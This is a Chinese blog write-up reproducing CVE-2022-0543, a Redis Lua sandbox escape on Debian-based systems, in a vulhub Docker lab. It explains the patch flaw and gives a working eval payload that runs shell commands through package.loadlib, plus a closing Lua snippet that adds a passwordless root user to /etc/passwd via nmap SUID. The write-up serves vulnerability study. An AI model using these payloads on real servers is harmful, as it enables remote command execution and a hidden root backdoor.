CVE-2022-0543复现 | redis的远程代码执行漏洞

CVE-2022-0543复现 | redis的远程代码执行漏洞


0x01描述

披露时间: 2022.3.8

影响范围 : Debian 系的 Linux 发行版本 + Ubuntu

CVE-2022-0543 该 Redis 沙盒逃逸漏洞影响 Debian 系的 Linux 发行版本,并非 Redis 本身漏洞, 漏洞形成原因在于系统补丁加载了一些redis源码注释了的代码


0x02原理

redis一直有一个攻击面,就是在用户连接redis后,可以通过eval命令执行lua脚本.

但这个脚本跑在沙箱里,正常情况下无法执行命令,读取文件

所以这个CVE本质是一个沙箱绕过漏洞

Ubuntu/Debian/CentOS等这些发行版本会在原始软件的基础上打一些补丁包给Redis打了一个的补丁,增加了一个include, 下面是Debian通过shell使用make生成补丁包的源码 :

debian/lua_libs_debian.c:
    echo "// Automatically generated; do not edit." >$@
    echo "luaLoadLib(lua, LUA_LOADLIBNAME, luaopen_package);" >>$@
    set -e; for X in $(LUA_LIBS_DEBIAN_NAMES); do \
        echo "if (luaL_dostring(lua, \"$$X = require('$$X');\"))" >>$@; \
        echo "    serverLog(LL_NOTICE, \"Error loading $$X library\");" >>$@; \
    done
    echo 'luaL_dostring(lua, "module = nil; require = nil;");' >>$@
  • luaLoadLib(lua, LUA_LOADLIBNAME, luaopen_package)就是漏洞的来源,。

这段代码原本在redis源码里已经是被注释了的, 将其注释掉的原因就是“for sandboxing concerns”

Debian的这个补丁却把这句话重新写进去了, 导致在 Lua 沙箱中遗留了一个对象package,攻击者可以利用这个package对象提供的方法加载动态链接库 liblua 里的函数,进而逃逸沙箱执行任意命令

借助 Lua 沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在 Lua 中执行这个导出函数,即可获得io库,再使用其执行命令。

需要注意的一点是 : 不同系统下liblua5.1.so.0的路径可能不同

我们可以利用这个模块,来加载任意Lua库,最终逃逸沙箱,执行任意命令:

local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("id", "r");
local res = f:read("*a");
f:close();
return res
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("uname -a", "r"); local res = f:read("*a"); f:close(); return res' 0

0x03复现

直接拉取vulhub建立好的docker

  1. 当前目录写入文件 docker-compose.yaml
version: '2'
services:
 redis:
   image: vulhub/redis:5.0.7
   ports:
    - "6379:6379"
docker-compose up -d
  1. 安装好后docker自动运行在后台

image-20220321180625392

  1. 直接通过redis-cli -h 127.0.0.1进入redis里面进行测试

image-20220321180734111

可见确实执行了uname -a ls / cat /etc/passwd三个命令


最后的一点话 :

之所以Ubuntu也受到影响是因为Ubuntu基于Debian, 所以就存在着同样的问题

这次的复现再次用到了Lua, 不经让我想到之前的通过nmap的交互模式interactive模式进行SUID提权, 但是版本较老的nmap才会有interactive模式, 但是新的nmap模式增加了--script模式支持加载Lua代码修改/etc/passwd增加一个无密码root用户rootx(如果失败是因为并且现在很多版本的dash和bash都对SUID问题增加了补丁, 导致Real UID和Effective UID不相等而导致SUID修改失败, 无root权限自然就失败了 ), 附添加root权限的Lua代码

local file = io.open("/etc/passwd", "a")
file:write("rootx::0:0::/root:/bin/bash\n")
file:close()

披露文章 :

https://www.ubercomp.com/posts/2022-01-20_redis_on_debian_rce

posted @ 2022-04-25 12:34  h0cksr  阅读(3587)  评论(0编辑  收藏  举报